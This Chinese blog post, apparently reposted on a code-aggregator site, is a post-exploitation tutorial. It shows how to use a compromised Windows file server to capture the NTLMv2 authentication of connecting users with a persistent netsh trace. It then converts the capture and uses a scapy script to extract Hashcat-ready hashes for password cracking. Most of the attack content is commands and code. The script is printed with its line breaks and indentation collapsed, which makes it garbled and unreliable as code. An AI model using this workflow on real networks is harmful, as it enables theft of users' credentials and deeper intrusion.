当前位置: 代码迷 >> 综合 >> 利用netsh抓取连接文件服务器的NET NTLM Hash
  详细解决方案

利用netsh抓取连接文件服务器的NET NTLM Hash

热度:98   发布时间:2024-03-08 08:06:10.0

问题:

如果获得了内网一个文件服务器的权限,如何获得更多用户的口令?

解决思路:

如果获得了内网一个文件服务器的权限,那么内网中的其他主机在使用界面尝试访问该服务器时,首先会将本机的密码Hash发送至服务器进行验证,在服务器端抓取数据包能够获得NTLM Response,对NTLM Response的格式进行解析,提取特定信息,使用Hashcat尝试字典破解或者暴力破解,就有可能还原出用户本机的明文口令

所以,接下来需要解决第一个问题: 如何在文件服务器上抓取数据包?

参考:3gstudent
参考:netsh使用

Windows平台下进行网络抓包的方法

两台WIN7主机,远程主机关闭防火墙并开启共享

本地主机执行抓包程序:

netsh trace start  capture=yes persistent=yes traceFile="c:\\test\\snmp1.etl" overwrite=yes correlation=no protocol=tcp ipv4.address=192.168.217.130 keywords=ut:authentication  

参数说明:

capture=yes: 开启抓包功能
persistent=yes: 系统重启不关闭抓包功能,只能通过Netsh trace stop关闭
traceFile: 指定保存记录文件的路径
overwrite=yes: 如果文件存在,那么对其覆盖
correlation=no: 不收集关联事件
protocol=tcp: 抓取TPC协议
ipv4.address=192.168.217.130 : 限定只抓和服务器IP相关的数据包
keywords=ut:authentication: 关键字为ut:authentication

注:win10可使用report=disabled,禁止收集系统的配置文件信息,增加抓包速度

在这里插入图片描述
访问远程主机共享

net use \\192.168.217.130 /u:admin 123456
netsh trace stop

在这里插入图片描述
老工具微软不维护,使用微软官方推荐的开源项目将etl文件转化为pcapng文件
github:microsoft/etl2pcapng
在这里插入图片描述
wireshark查看转化之后的包,另存为pcap形式

在这里插入图片描述
下来编写脚本从pcap中需要的字段,再通过hashcat爆破
1、对目的端口进行判断,选出SMB协议的数据包
2、筛选出NTLMv2 Response数据包
3、通过当前数据包获得username、domain、HMAC-MD5和blob
4、通过前一数据包获得Server challenge
具体实现:

1.选出SMB协议的数据包
目的端口为445

packets[p]['TCP'].dport == 445

2.筛选出NTLMv2 Response数据包
TCP payload包含特殊字符串NTLMSSP

packets[p]['Raw'].load.find('NTLMSSP') != -1

3.获得通过当前数据包获得username、domain、HMAC-MD5和blob
HMAC-MD5和blob为固定位置,直接通过固定偏移即可获得

username和domain为固定格式,2字节表示Length,2字节表示Maxlen,4字节表示偏移,值得注意的2字节长度实际上为int型数据,在读取时高低位要互换

例如读取出16进制数据为4601,实际计算的是0146转换成10进制的值,为326

DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16)
DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256                             
DomainLength = DomainLength1 + DomainLength2

domain以Unicode格式保存,需要转换成ascii,具体实现是把字符串转换成数组,只取奇数位

DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]
DomainName = ''.join(DomainName)

完整代码:

#!/usr/bin/env python2.7
try:import scapy.all as scapy
except ImportError:import scapytry:# This import works from the project directoryimport scapy_http.http
except ImportError:# If you installed this package via pip, you just need to execute thisfrom scapy.layers import httppackets = scapy.rdpcap('6.pcap')
Num = 1
for p in range(len(packets)):try:if packets[p]['TCP'].dport ==445:TCPPayload = packets[p]['Raw'].loadif TCPPayload.find('NTLMSSP') != -1:if len(TCPPayload) > 500:       print ("----------------------------------Hashcat NTLMv2 No.%s----------------------------------"%(Num))Num = Num+1print ("PacketNum: %d"%(p+1))print ("src: %s"%(packets[p]['IP'].src))print ("dst: %s"%(packets[p]['IP'].dst))Flag = TCPPayload.find('NTLMSSP')ServerTCPPayload = packets[p-1]['Raw'].loadServerFlag = ServerTCPPayload.find('NTLMSSP')ServerChallenge = ServerTCPPayload[ServerFlag+24:ServerFlag+24+8].encode("hex")print ("ServerChallenge: %s"%(ServerChallenge))DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16)DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256                             DomainLength = DomainLength1 + DomainLength2#print DomainLengthDomainNameUnicode = TCPPayload[Flag+88:Flag+88+DomainLength]DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]DomainName = ''.join(DomainName)print ("DomainName: %s"%(DomainName))                                                          UserNameLength1 = int(TCPPayload[Flag+36:Flag+36+1].encode("hex"),16)UserNameLength2 = int(TCPPayload[Flag+36+1:Flag+36+1+1].encode("hex"),16)*256                             UserNameLength = UserNameLength1 + UserNameLength2#print UserNameLengthUserNameUnicode = TCPPayload[Flag+88+DomainLength:Flag+88+DomainLength+UserNameLength]UserName = [UserNameUnicode[i] for i in range(len(UserNameUnicode)) if i%2==0]UserName = ''.join(UserName)print ("UserName: %s"%(UserName))  NTLMResPonseLength1 = int(TCPPayload[Flag+20:Flag+20+1].encode("hex"),16)NTLMResPonseLength2 = int(TCPPayload[Flag+20+1:Flag+20+1+1].encode("hex"),16)*256NTLMResPonseLength = NTLMResPonseLength1 + NTLMResPonseLength2                             #print NTLMResPonseLength NTLMResPonse = TCPPayload[Flag+174:Flag+174+NTLMResPonseLength].encode("hex")                                       #print NTLMResPonseprint "Hashcat NTLMv2:"print ("%s::%s:%s:%s:%s"%(UserName,DomainName,ServerChallenge,NTLMResPonse[:32],NTLMResPonse[32:]))except:pass

运行代码进行处理:
在这里插入图片描述
使用Hashcat进行破解即可

对于文件服务器,如果开启了NetBIOS over TCP/IP,那么禁用445端口后,系统会尝试使用139端口进行连接